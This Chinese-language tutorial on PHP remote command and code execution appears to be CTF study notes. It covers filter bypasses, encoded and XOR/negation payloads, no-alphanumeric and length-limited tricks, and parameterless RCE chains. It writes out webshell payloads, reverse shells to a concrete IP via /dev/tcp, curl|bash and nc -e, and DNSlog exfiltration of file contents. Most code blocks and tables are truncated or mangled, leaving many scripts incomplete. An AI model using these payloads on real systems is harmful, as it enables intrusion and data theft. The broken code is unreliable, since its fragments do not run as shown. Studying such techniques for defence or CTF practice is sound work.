远程命令执行
远程命令执行
VVkladg0rRCE
RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统
后端漏洞
原理
一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口。比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上。一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器。 现在很多的企业都开始实施自动化运维,大量的系统操作会通过”自动化运维平台”进行操作。在这种平台上往往会出现远程系统命令执行的漏洞。 远程代码执行 同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。 不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。 因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。
在Web应用开发中为了灵活性、简洁性等会让应用调用代码执行函数或系统命令执行函数处理,若应用对用户的输入过滤不严,容易产生远程代码执行漏洞或系统命令执行漏洞
系统命令执行函数
system() 能将字符串作为OS命令执行,且返回命令执行结果
passthru() 能将字符串作为OS命令执行,只调用命令不返回任何结果,但把命令的运行结果原样输
出到标准输出设备上
shell_exec() 能将字符串作为OS命令执行
exec() 能将字符串作为OS命令执行,但是只返回执行结果的最后一行(约等于无回显)
shell_exec() 能将字符串作为OS命令执行
popen() 打开进程文件指针
proc_open() 与popen()类似
pcntl_exec() 在当前进程空间执行指定程序
代码执行函数
eval():将字符串作为php代码执行;
assert():将字符串作为php代码执行;
preg_replace():正则匹配替换字符串;
create_function():主要创建匿名函数;
call_user_func():回调函数,第一个参数为函数名,第二个参数为函数的参数;
call_user_func_array():回调函数,第一个参数为函数名,第二个参数为函数参数的数组;
可变函数: 若变量后有括号,该变量会被当做函数名为变量值(前提是该变量值是存在的函数名)的函数
执行
绕过
管道符
Linux:
管道符 | 实例 | 描述 |
---|---|---|
; | A;B | 无论真假,A与B都执行 |
& | A&B | 无论真假,A与B都执行 |
&& | A&&B | A为真时才执行B,否则只执行A |
| | A|B | 显示B的执行结果 |
|| | A||B | A为假时才执行B,否则只执行A |
Windows:
管道符 | 实例 | 描述 |
---|---|---|
| | A|B | 显示B的执行结果 |
|| | A||B | A为假时才执行B,否则只执行A |
& | A&B | 无论真假,A与B都执行 |
&& | A&&B | A为真时才执行B,否则只执行A |
空格过滤
以下可代替空格 | ||
---|---|---|
< | <> | %20(即space) |
%09(即tab) | $IFS$9 |
${IFS} |
$IFS | {cat,/flag} |
$IFS
在linux下表示分隔符,但是如果单纯的cat$IFS2
,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,因此这里加一个{}就固定了变量名。
同理,在后面加个$
可以起到截断的作用,使用$9
是因为它是当前系统shell进程的第九个参数的持有者,它始终为空字符串。
关键字过滤
比如说禁用了cat ls flag等
\绕过
c\at /flag
l\s /
单引号绕过
c’’at flag
l’’s /
双引号绕过
c””at flag
l””s /
Shell 特殊变量绕过
ca$@t flag
变量拼接
b=ag
cat /fl$b
读flag
eval(var_dump(file_get_contents($_POST[‘a’])););&a=/flag
_过滤
php8以下,变量名中的第一个非法字符[会被替换为下划线_
e_v.a.l==>e[v.a.l
php标签过滤
?><?= phpinfo(); ?>
<? ?>等价于<?php ?>
<?= >等价于<?php echo ?>
编码绕过
可以使用各种编码进行绕过
base64编码绕过,编码cat /flag,反引号、| bash、
$()
用于执行系统命令
echo Y2F0IC9mbGFn | base64 -d`
echo Y2F0IC9mbGFn | base64 -d | bash
$(echo Y2F0IC9mbGFn | base64 -d)hex编码绕过,编码cat /flag,| bash用于执行系统命令
echo ‘636174202f666c6167’ | xxd -r -p | bashshellcode编码
十六进制编码
正则匹配的绕过
cat /f???
cat /fl*
cat /f[a-z]{3}
其他绕过
cat替换命令
more | less | cat | tac |
---|---|---|---|
head | tail | vi | vim |
nl | od | sort | uniq |
tac | 与cat相反,按行反向输出 |
---|---|
more | 按页显示,用于文件内容较多且不能滚动屏幕时查看文件 |
less | 与more类似 |
tail | 查看文件末几行 |
head | 查看文件首几行 |
nl | 在cat查看文件的基础上显示行号 |
od | 以二进制方式读文件,od -A d -c /flag转人可读字符 |
xxd | 以二进制方式读文件,同时有可读字符显示 |
sort | 排序文件 |
uniq | 报告或删除文件的重复行 |
file | 报错文件内容 |
---|---|
grep | 过滤查找字符串,grep flag /flag |
回溯绕过
//php正则的回溯次数大于1000000次时返回False |
函数绕过
system(current(getallheaders()));
gettallheaders()将报文头信息转为数组返回 |
passthru
例如:eval('echo '.$str.';'); |
scandir
var_dump(scandir(chr(47))); (chr(47)==/,该命令会显示根目录下的文件) |
glob
glob("*") 匹配任意文件 |
嵌套绕过
?c=eval($_GET[1]);&1=system('tac flag.php'); |
分号绕过
假如过滤分号
那么可以直接 ?> 闭合php( ?> 闭合的是eval里面的php语句,eval后续还有语句的话,依旧是会执行的。除此以外,php代码最后一句可以不用加分号,可以绕过分号的过滤) |
数组绕过
preg_match()遇到数组会直接返回flase。
$a[]='flag.php'; |
取反绕过
取反符号~,用的字符不会触发正则表达式
//取反传参 |
//在命令行中运行 |
例:
|
如果要绕过正则RCE,我们可以采用url取反绕过,如:
?code=(~%8F%97%8F%96%91%99%90)(); |
这里还利用了一点是:对于PHP,形如
(func_name)()
,其中func_name可以是字符串,会执行这个func这里相当于执行了:
phpinfo()
但是
上述代码取反后应该是(system)(ls); 并不是正常的system(ls);
所以如果直接执行phpinfo() 是不会被执行的
?code=(~%8F%97%8F%96%91%99%90%D7%D6); |
- 当
(~%8F%97%8F%96%91%99%90%D7%D6);
被当作代码执行时的第一步就是取反操作~
- 但是取反得到的字符串
phpinfo()
并不会被当作代码执行,因为在取反之前PHP解释器并不知道这原来是phpinfo()
所以:
对于已知过滤条件,想要执行我们指定的代码,必须有 (func_name)()
这样的形式
那么想用蚁剑这样的工具的话,需要让其执行我们POST提交的数据,由问题1可以知道,若构造:
?code=(~%DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2); |
这样是不能得到执行结果的
以(func_name)()
这样的形式,去执行 ("assert")("$_POST[shell]")
构造payload:
?code=(~%9E%8C%8C%9A%8D%8B)(~%DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2); |
但是也是执行不成功
原因:
- 第一层eval:首先
(~%9E%8C%8C%9A%8D%8B)(~%DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2);
先会执行取反函数,得到("assert")("$_POST[shell]")
- 第二层assert:注意第二个括号里其实还是字符串,并不是真正的
$_POST[shell]
代码。PHP在解释的时候会找到名为assert的函数,assert会把$_POST[shell]
变成真正的PHP代码。也就是说现在可以传参过来了,但是却没有执行。
那么要想要执行 $_POST[shell]
,还要在在前面追加一个 eval
:
?code=(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2%D6); |
可以执行
- 第一层eval:首先
(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2%D6);
先会执行取反函数,得到("assert")("eval($_POST[shell])")
- 第二层assert:将字符串
"eval($_POST[shell])"
看作php代码执行 - 第三层eval:将
$_POST[shell]
传来的数据看作代码执行
异或绕过
在 PHP 中两个字符串异或之后,得到的还是一个字符串。原理是转换为二进制进行异或。如果正则匹配过滤了字母和数字,那就可以使用两个不在正则匹配范围内的非字母非数字的字符进行异或,从而得到我们想要的字符串。
异或(XOR)是一种逻辑运算,它的原理如下:
符号表示: 异或运算用符号 ^ 表示。
定义: 对于两个二进制位,如果相应位相同则结果为 0,如果相应位不同则结果为 1。
下面是异或运算的真值表:
A | B | A XOR B |
---|---|---|
0 | 0 | 0 |
0 | 1 | 1 |
1 | 0 | 1 |
1 | 1 | 0 |
对于整个二进制数,异或运算会对每一位进行独立的操作。
异或的性质:
交换律: A XOR B 等于 B XOR A
结合律: (A XOR B) XOR C 等于 A XOR (B XOR C)
自反性: A XOR A 等于 0
零元素: A XOR 0 等于 A
# 异或构造Python脚本 |
//异或php脚本 |
|
先用该脚本生成所有字符异或后的结果,用于下一个脚本的使用。
import requests |
|
都是异或脚本
例:
//简单例题,flag再phpinfo()中,需要执行php命令:phpinfo(); |
或绕过
原理和异或绕过类似,只不过用的是|运算符。
import re |
自增绕过
在编程中,自增操作是指将一个变量的值增加1
$number = 10; |
自增操作也可以应用于字母
$letter = 'a'; |
‘a’++ => ‘b’,’b’++ => ‘c’… 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。
那么,如何拿到一个值为字符串’a’的变量呢?
巧了,数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。
//测试发现7.0.12以上版本不可使用 |
一样的: |
输出重定向:
可以写马
echo -e "<?php @eval(\$_POST['test']);?>" > shell.php |
无字母数字RCE
例1:
|
异或、取反、自增、临时文件上传;都可以
思路
首先,明确思路。我的核心思路是,将非字母、数字的字符经过各种变换,最后能构造出a-z中任意一个字符。然后再利用PHP允许动态函数执行的特点,拼接处一个函数名,如“assert”,然后动态执行之即可。
那么,变换方法 将是解决本题的要点。
不过在此之前,我需要说说php5和7的差异。
php5中assert是一个函数,我们可以通过$f='assert';$f(...);
这样的方法来动态执行任意代码。
但php7中,assert不再是函数,变成了一个语言结构(类似eval),不能再作为函数名动态执行代码,所以利用起来稍微复杂一点。但也无需过于担心,比如我们利用file_put_contents函数,同样可以用来getshell。
下文为了方便起见,使用PHP5作为环境
法1
这是最简单、最容易想到的方法。在PHP中,两个字符串执行异或操作以后,得到的还是一个字符串。所以,我们想得到a-z中某个字母,就找到某两个非字母、数字的字符,他们的异或结果是这个字母即可。
|
其实很像自增的感觉
法2
取反
用的是UTF-8编码的某个汉字,并将其中某个字符取出来,比如'和'{2}
的结果是"\x8c"
,其取反即为字母s
:
|
这个答案还利用了PHP的弱类型特性。因为要获取'和'{2}
,就必须有数字2。而PHP由于弱类型这个特性,true的值为1,故true+true==2
,也就是('>'>'<')+('>'>'<')==2
。
法3
自增
也就是说,'a'++ => 'b'
,'b'++ => 'c'
… 所以,我们只要能拿到一个变量,其值为a
,通过自增操作即可获得a-z中所有字符。
在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array
:
再取这个字符串的第一个字母,就可以获得’A’了。
|
例2(进阶):
|
根据上题 其中有两个主要的思路:
- 利用位运算
- 利用自增运算符
相较于正常的(上面的)无字母数字RCE
这道题多了两个限制:
- webshell长度不超过35位
- 除了不包含字母数字,还不能包含
$
和_
因为$
不能使用了,所以我们无法构造PHP中的变量 所以上述方法无法进行
所以 这里其实有一种新方法
这里重点说一下临时文件上传
PHP7下简单解决
我们将上述代码放在index.php中,然后执行docker run --rm -p 9090:80 -v
pwd:/var/www/html php:7.2-apache
,启动一个php 7.2的服务器。
php7中修改了表达式执行的顺序:
PHP7前是不允许用($a)();
这样的方法来执行动态函数的,但PHP7中增加了对此的支持。所以,我们可以通过('phpinfo')();
来执行函数,第一个括号中可以是任意PHP表达式。
所以很简单了,构造一个可以生成phpinfo
这个字符串的PHP表达式即可。payload如下(不可见字符用url编码表示):
(~%8F%97%8F%96%91%99%90)(); |
PHP5下理解
PHP5下思考
我们使用docker run --rm -p 9090:80 -v
pwd:/var/www/html php:5.6-apach
来运行一个php5.6的web环境。
此时,我们尝试用PHP7的payload,将会得到一个错误:
原因就是php5并不支持这种表达方式。
大部分语言都不会是单纯的逻辑语言,一门全功能的语言必然需要和操作系统进行交互。操作系统里包含的最重要的两个功能就是“shell(系统命令)”和“文件系统”,很多木马与远控其实也只实现了这两个功能。
PHP自然也能够和操作系统进行交互,“反引号”就是PHP中最简单的执行shell的方法。那么,在使用PHP无法解决问题的情况下,为何不考虑用“反引号”+“shell”的方式来getshell呢?
PHP5+shell打破禁锢
因为反引号不属于“字母”、“数字”,所以我们可以执行系统命令,但问题来了:如何利用无字母、数字、$
的系统命令来getshell?
好像问题又回到了原点:无字母、数字、$
,在shell中仍然是一个难题。
此时我想到了两个有趣的Linux shell知识点:
- shell下可以利用
.
来执行任意脚本- Linux文件名支持用glob通配符代替
.
或者叫period,它的作用和source一样,就是用当前的shell执行一个文件中的命令。比如,当前运行的shell是bash,则. file
的意思就是用bash执行file文件中的命令。
用. file
执行文件,是不需要file有x权限的。那么,如果目标服务器上有一个我们可控的文件,那不就可以利用.
来执行它了吗?
这儿主要介绍php.ini
中的两个参数
file_uploads
是否允许上传upload_tmp_dir
是默认的临时文件的保存目录(linux默认为/tmp
)
这个文件也很好得到,我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX
,文件名最后6个字符是随机的大小写字母。
第二个难题接踵而至,执行. /tmp/phpXXXXXX
,也是有字母的。此时就可以用到Linux下的glob通配符:
*
可以代替0个及以上任意字符?
可以代表1个任意字符
那么,/tmp/phpXXXXXX
就可以表示为/*/?????????
或/???/?????????
。
但我们尝试执行. /???/?????????
,却得到如下错误:
这是因为,能够匹配上/???/?????????
这个通配符的文件有很多,我们可以列出来:
可见,我们要执行的/tmp/phpcjggLC
排在倒数第二位。然而,在执行第一个匹配上的文件(即/bin/run-parts
)的时候就已经出现了错误,导致整个流程停止,根本不会执行到我们上传的文件。
思路又陷入了僵局,虽然方向没错。
深入理解glob通配符
大部分同学对于通配符,可能知道的都只有*
和?
。但实际上,阅读Linux的文档,可以学到更多有趣的知识点。
其中,glob支持用[^x]
的方法来构造“这个位置不是字符x”。那么,我们用这个姿势干掉/bin/run-parts
:
排除了第4个字符是-
的文件,同样我们可以排除包含.
的文件:
现在就剩最后三个文件了。但我们要执行的文件仍然排在最后,但我发现这三个文件名中都不包含特殊字符,那么这个方法似乎行不通了。
继续阅读glob的帮助,发现另一个有趣的用法:
就跟正则表达式类似,glob支持利用[0-9]
来表示一个范围。
我们再来看看之前列出可能干扰我们的文件:
所有文件名都是小写,只有PHP生成的临时文件包含大写字母。那么答案就呼之欲出了,我们只要找到一个可以表示“大写字母”的glob通配符,就能精准找到我们要执行的文件。
翻开ascii码表,可见大写字母位于@
与[
之间:
那么,我们可以利用[@-[]
来表示大写字母:
显然这一招是管用的。
构造POC 执行任意命令
当然,php生成临时文件名是随机的,最后一个字符不一定是大写字母,不过多尝试几次也就行了。
最后,我传入的code为?><?=
. /???/????????[@-[];?>
,发送数据包如下:
成功执行任意命令。
import requests |
除这些之外我们还可以这样用${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=phpinfo
其中"%86%86%86%86^%d9%c1%c3%d2"
为构造出的_GET
,适合于过滤了引号的情况下使用。
限制长度RCE
15字符下可控
|
因为只能传入14个字符,但是没有限制命令执行的次数,所以我们的思想可以通过Linux下的>符号与>>符号写入一段一句话木马到指定文件。
|
经测试上述这样的一句话木马(经过换行)是可以命令执行的,所以我们可以通过传参构造出这样的一句话木马,不断传入以下Payload:
7字符下可控
|
我们可以使用touch来生成文件,然后将生成的文件名拼凑成一句命令,最后执行,达到目的
<-- cat flag.php --> |
同理:
>和>>: |
由此:
#>ag |
按时间顺序反向依次创建文件,”ca” “‘t “ “fl” “ag”
再通过ls -t > x,创建文件x,并把’Is -t执行结果写入文件x里 。
实际上在创建文件时,加入”",把命令”ca””t””f””ag”连接起来
“\” linux中可以用\使指令连接下一行,这样就可以写多行命令了。
文件中前面命令出错,会自动跳过,不影响后面命令的执行。
Shell 脚本的执行方式通常有如下三种:
bash script-name 或者 sh script-name;
path/script-name或者./script-name;
sourcescript-name或者. script-name。
推荐用第一种
bash file
sh file
第三种. file
第二种要文件有执行权限故不推荐
上面不是ls -t>a 吗
cat a 查看后发现都写进去了 |
然后可以.a执行脚本
可以发现确实符合第四条 文件中前面命令出错,会自动跳过,不影响后面命令的执行。
可以发现最长的长度就是 ls -t>0
7了
上点难度假如要执行 echo Y2F0IC9mbGFn|base64 -d>1
怎么办?(Y2F0IC9mbGFn -> cat /flag)
#写入语句 |
payload.txt
>hp |
脚本:
#!/usr/bin/python |
攻击完成后就会生成1.php文件
注:这里用的是<?php eval($_GET[1]); 不是一句话木马,不能用蚁剑链接(可能改成POST就行了,不过没有尝试)
命令里的空格,> ,| ,或者其他特殊字符一定要转义。
5字符下可控
与7字符下可控一样
主要思路是缩短 ls -t>0
这一步骤的长度,把这条命令拆分到各个文件中去
|
法1
拼接字符串写入一句话
payload:
>hp |
ls -t >0 拆分方法
同理:
输入通配符 * ,Linux会把第一个列出的文件名当作命令,剩下的文件名当作参数
通过rev来倒置输出内容(rev命令将文件中的每行内容以字符为单位反序输出)
用dir来代替ls不换行输出;rev将文件内容反向输出;在用ls时,写到a时每个文件名都是单独一行
>rev |
目的:echo${IFS}PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 ‐d>1.php
那么我们只需要将上面的代码拆分倒序输入到主机即可。我们需要让sh先执行a文件(ls -th >f)就会得到f文件,最后再让sh去执行f文件即可得到1.php。最终payload如下
payload.txt
>dir |
脚本:
#!/usr/bin/python |
然后蚁剑连接即可(1.php)
法2
反弹shell
既然可以执行命令,那么我们首先想到的是反弹一个shell回来
我们在自己的vps上web目录/var/www/html/里先创建一个文件index.html,里面写好反弹shell的话(由于linux文件名不能有斜杠“/”,所以就不能curl xxx.xxx.xxx.xxx/1.txt,我们就用index,这样47.1x0.1x0.123连上后会默认自动访问index.html反弹shell)
bash反弹shell的命令如下:
bash -i >& /dev/tcp/vps的ip/监听的端口 0>&1 |
空格需要转义
>\ \\ |
构造空格就用去了五个字符,我们的语句里面有两个空格,而相同的文件名只能有一个,因此这里不能直接执行bash反弹shell
那么通过将反弹语句放在vps上,然后通过如下方式来执行:
curl ip地址|bash |
我们先在自己的vps新建一个文件,内容为
bash -i >& /dev/tcp/120.79.33.253/7777 0>&1 |
然后在vps上面监听7777端口
nc -lv 7777 |
因为ls -t>_的长度也大于5,所以要要把ls -t>y写入文件
ls命令排序的规则是空格和符号最前,数字其次,字母最后
>ls\\ |
那么我们再构造curl 120.79.33.253|bash
>bash |
然后运行
sh _ |
生成文件y
再执行
sh y |
脚本:
""" |
4字符下可控
法1
常规:字符拼接写马
|
1.输入统配符* ,Linux会把第一个列出的文件名当作命令,剩下的文件名当作参数
>id |
2.dir:虽然基本上和 ls 一样,但有两个好处,一是开头字母是d ,这使得它在 alphabetical 序中靠前,二是按列输出,不换行。
先看下ls的效果,写到a时每个文件名都是单独一行,这样会影响命令执行
看下dir的效果,会不换行输出到文件中去
3.rev:可以反转文件每一行的内容。
4.增加字母来限定被用来当作命令和参数的文件名
>ls |
5.通过增加ls的-h(把文件大小显示成1k 1M 等形式)参数来让调整-t(根据时间排序)参数的位置
我们之后需要用到rev 倒置输出
所以需要列出这样形式的文件名
0> t- sl |
所以要增加-h来把-t往前拉
>0\> |
所以
因为是四个字符,所以 ls>>? 肯定是不能用了。
看一下构造:
>dir |
发现dir排在最前面
*>v |
*>v 表示 执行 dir 并输出到 v 中
v>x 很巧妙,这里这里目录下这么多文件,只有 rev 能执行成功(rev v>x)
最后:
>dir |
法2
反弹
脚本:
""" |
结果:
3字符下可控
CTFSHOW平台的【nl】难了 一题
|
只限3个字符的shell_exec,依然利用通配符 * 表示将ls下面的文件执行,如果第一个是命令就直接执行命令,后面的当参数,与前几点的原理类似
首先ls查看当前目录下有哪些文件 ?1=ls
只存在s开头的和z开头的文件,Linux中文件排序按照26个英文字母顺序排放,所以我们依然利用前几种字符限制的方法,通过>写入一个以命令名命名的文件,如:nl(读取文件带上行)od(八进制显示输出),但这样的命令前提是其第一个字母必须在当前文件名中排到第一位。
payload:?1=>nl ?1=*或?1=*>z 第二种:?1=>od ?1=*
接下来再传入?=*的时候就会在源代码中得到flag。
无回显RCE
|
命令执行函数我用的是exec
,因为这个函数本身是没有回显的,拿来做测试简直不能再合适
法1
时间盲注
逻辑和SQL注入的时间盲注差不多
相关命令:
1.sleep
sleep 5 #5秒之后返回结果
2.awk:逐行获取数据
cat test.php | awk NR==2 //awk NR==2 逐行获取一行字符
3.cut -c
cut命令逐列获取单个字符cat flag | awk NR==2 | cut -c 1 #获取第一个字符 cat flag | awk NR==2 | cut -c 2 #获取第二个字符
4、if语句:判断命令是否执行
if [ $(cat flag | awk NR==2 | cut -c 1) == F ];then sleep 2;fi
if里的判断语句为真的话,则执行sleep 2,休眠2秒后返回结果
直接脚本:
""" |
import requests |
两个脚本差不多
法2
文件读写
|
payload:
ls | tee abc |
tee
命令用于从标准输入读取数据,并将其写入一个或多个文件 tee的作用是把查询到的根目录写入到当前网页下的某文件 再次访问该文件即可得到被打印的根目录
tee
通常后面会跟着要写入的文件名
先执行命令
?cmd=ls| tee abc # 将ls的结果重定向到文件名为abc的文件中 |
还可以:
重定向符 :
|
?cmd=echo "<?php show_source(__FILE__);@eval(\$_POST['s']); ?>" > a.php |
再访问a.php
然后就随便打了
法3
反弹shell
|
遇到这种无回显的命令执行,很常见的一个思路是反弹shell,因为它虽然不会将命令执行的结果输出在屏幕上,但实际上这个命令它是执行了的,那我们就将shell反弹到自己服务器上,然后再执行命令肯定就可以看到回显了
一般来讲我们反弹shell都用的bash -i >& /dev/tcp/ip/port 0>&1
这条命令,但这里我不知道哪里出了问题,在docker中可以成功反弹但放到php命令执行中就反弹不了了,所以说无奈之下我就只能使用nc
进行反弹,但其实这是很不实用的,因为很多docker中都没有安装nc
,这里就先演示一下用nc
反弹,利用nc -e /bin/sh ip port
进行反弹:
可以看到已经反弹成功了,拿到了根目录下的flag
法4
dnslog外带数据法
DNS(域名解析):
域名解析是把域名指向网站空间IP,让人们通过注册的域名可以方便地访问到网站的一种服务。IP地址是网络上标识站点的数字地址,为了方便记忆,采用域名来代替IP地址标识站点地址。域名解析就是域名到IP地址的转换过程。域名的解析工作由DNS服务器完成。
域名解析也叫域名指向、服务器设置、域名配置以及反向IP登记等等。说得简单点就是将好记的域名解析成IP,服务由DNS服务器完成,是把域名解析到一个IP地址,然后在此IP地址的主机上将一个子目录与域名绑定。
而如果我们发起请求的目标不是IP地址而是域名的话,就一定会发生一次域名解析,那么假如我们有一个可控的二级域名,那么当它向下一层域名发起解析的时候,我们就能拿到它的域名解析请求。这就相当于配合dns请求完成对命令执行的判断,这就称之为dnslog。当然,发起一个dns请求需要通过linux中的ping
命令或者curl
命令哈
DNSLOG平台
http://www.dnslog.cn (是临时的网址)
http://admin.dnslog.link (不常用了)
http://ceye.io (要注册)
也可以使用yakit的DNSLog:
还是这一段代码,我们用分号;
作为命令的分隔符,然后发起curl
请求,然后最后用反引号执行命令,具体如下:
然后就可以到ceye平台上取看到我们发起的请求了,可以看到whoami
的结果也已经在上面显示了出来:
然后我们就尝试执行其它的命令比如像ls
之类的,但这里需要注意的一点是,如果我们直接执行ls
的话,它只会返回第一条结果,具体如下图所示:
那么为了让它显示出剩余的结果,我们就需要用到linux的sed
命令,用sed
命令就可以实现对行的完美划分,这里利用题目不是很好演示,我就直接用kali进行演示,就像下图一样直接用就行,还是很方便的:
?cmd=ping `ls|sed -n '1p'`.pmdbhelcqt.dgrh3.cn # 通过控制多少p,就可以看到ls出的第多少个文件名 |
?cmd=ping `cat /flag`.pmdbhelcqt.dgrh3.cn |
这样就可以完成任意的命令执行了,但是值得注意的是,因为有的字符可能会无法显示或者只显示部分信息,所以说执行命令的时候推荐使用base64编码,然后再解开就好:
无参数RCE
无参rce,就是说在无法传入参数的情况下,仅仅依靠传入没有参数的函数套娃就可以达到命令执行的效果
核心代码
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { |
这里的正则表达式
[^\W]+\((?R)?\)
匹配了一个或多个非标点符号字符(表示函数名),后跟一个括号(表示函数调用)。其中 (?R) 是递归引用,它只能匹配和替换嵌套的函数调用,而不能处理函数参数。使用该正则表达式进行替换后,每个函数调用都会被删除,只剩下一个分号 ;,而最终结果强等于;时,payload才能进行下一步。简而言之,无参数rce就是不使用参数,而只使用一个个函数最终达到目的。
利用方式
无参数rce可能用到的函数:
目录操作: |
法1
getallheaders()
这个函数的作用是获取http所有的头部信息,也就是headers,然后我们可以用var_dump把它打印出来,但这个有个限制条件就是必须在apache的环境下可以使用,其它环境都是用不了的,我们到burp中去做演示,测试代码如下:
|
可以看到,所有的头部信息都已经作为了一个数组打印了出来。但我们在实际的利用过程中并用不了这么多的,我们需要有选择的执行一些命令,这里就需要用到php中操纵数组的函数了,这里常见的是利用end()函数取出最后一位,并且只会取值,不会取键,所以键名随便取:
结合上面一些其他相关函数
即可实现命令执行
payload:
eval(array_rand(array_flip(getallheaders()))); |
eval(end(getallheaders())) |
eval(pos(array_reverse(getallheaders()))) |
都要传header
法2
get_defined_vars()
getallheaders()
是有局限性的,因为如果中间件不是apache
的话,它就用不了了,那我们就介绍一种更为普遍的方法get_defined_vars()
,这种方法其实和上面那种方法原理是差不多的
可以看到,它并不是获取的headers,而是获取的四个全局变量$_GET $_POST $_FILES $_COOKIE
,而它的返回值是一个二维数组,我们利用GET方式传入的参数在第一个数组中。这里我们就需要先将二维数组转换为一维数组,这里我们用到current()函数,这个函数的作用是返回数组中的当前单元,而它的默认是第一个单元,也就是我们GET方式传入的参数,我们可以看看实际效果:
这里可以看到成功输出了我们二维数组中的第一个数据,也就是将GET的数据全部输出了出来,相当于它就已经变成了一个一维数组了,那按照我们上面的方法,我们就可以利用**end()
函数以字符串的形式取出最后的值**,然后直接eval
执行就行了,这里和上面就是一样的了:
那我们把var_dump改成eval即可执行我们的phpinfo代码
那同样也能执行whoami命令
总结一下,这种方法和第一种方法几乎是一样的,就多了一步,就是利用current()
函数将二维数组转换为一维数组
payload:
eval(end(current(get_defined_vars()))); |
flag=system('id'); |
法3
session_id()
简单来说就是把恶意代码写到COOKIE的PHPSESSID中,然后利用session_id()这个函数去读取它,返回一个字符串,然后我们就可以用eval去直接执行了,这里有一点要注意的就是session_id()要开启session才能用,所以说要先session_start(),这里我们先试着把PHPSESSID的值取出来:
直接出来就是字符串,那就非常完美,我们就不用去做任何的转换了,但这里要注意的是,PHPSESSIID
中只能有A-Z a-z 0-9
,-
,所以说我们要先将恶意代码16进制编码以后再插入进去,而在php中,将16进制转换为字符串的函数为hex2bin
那我们就可以开始构造了,首先把PHPSESSID
的值替换成这个,然后在前面把var_dump
换成eval
就可以成功执行了,同时我们还要加上hex2bin函数
payload:
eval(hex2bin(session_id(session_star()))) |
法4
php函数直接读取文件
上面我们一直在想办法在进行rce,但有的情况下确实无法进行rce时,我们就要想办法直接利用php函数完成对目录以及文件的操作, 接下来我们就来介绍这些函数:
localeconv()
localeconv() 函数返回一个包含本地数字及货币格式信息的数组
我们在代码中将localeconv()
的返回结果输出出来,它返回的是一个二维数组,而它的第一位居然是一个点.
那按照我们上面讲的,是可以利用current()
函数将这个点取出来的,但这个点有什么用呢?点代表的是当前目录!我们可以利用这个点完成遍历目录的操作!相当于就是linux
中的ls
我们利用current函数把这个点取出来
完成目录遍历操作
scandir()
scandir() 函数返回指定目录中的文件和目录的数组。
current(pos)
pos()函数是current()函数的别名,两者是一样的
current() 函数返回数组中的当前元素(单元)。
每个数组中都有一个内部的指针指向它“当前的”元素,初始指向插入到数组中的第一个元素。
dirname()和chdir()
chadir()这个函数是用来跳目录的,有时想读的文件不在当前目录下就用这个来切换,因为scandir()会将这个目录下的文件和目录都列出来,那么利用操作数组的函数将内部指针移到我们想要的目录上然后直接用chdir切就好了,如果要向上跳就要构造chdir(‘..’)
首先我们可以利用getcwd()获取当前目录
?code=var_dump(getcwd()); |
那么怎么进行当前目录的目录遍历呢?
这里用scandir()即可
?code=var_dump(scandir(getcwd())); |
那么既然不在这一层目录,如何进行目录上跳呢?
我们用dirname()即可
?code=var_dump(scandir(dirname(getcwd()))); |
那么怎么更改我们的当前目录呢?这里我们发现有函数可以更改当前目录
chdir ( string $directory ) : bool |
将 PHP 的当前目录改为 directory。
所以我们这里在
dirname(getcwd()) |
进行如下设置即可
chdir(dirname(getcwd())) |
我们尝试读取/var/www/123
http://localhost/?code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd()))))))); |
即可进行文件读取
array_reverse()
array_reverse() 函数将原数组中的元素顺序翻转,创建新的数组并返回。
将整个数组倒过来,有的时候当我们想读的文件比较靠后时,就可以用这个函数把它倒过来,就可以少用几个next()
highlight_file()
取文件的打印输出或者返回 filename 文件中语法高亮版本的代码,相当于就是用来读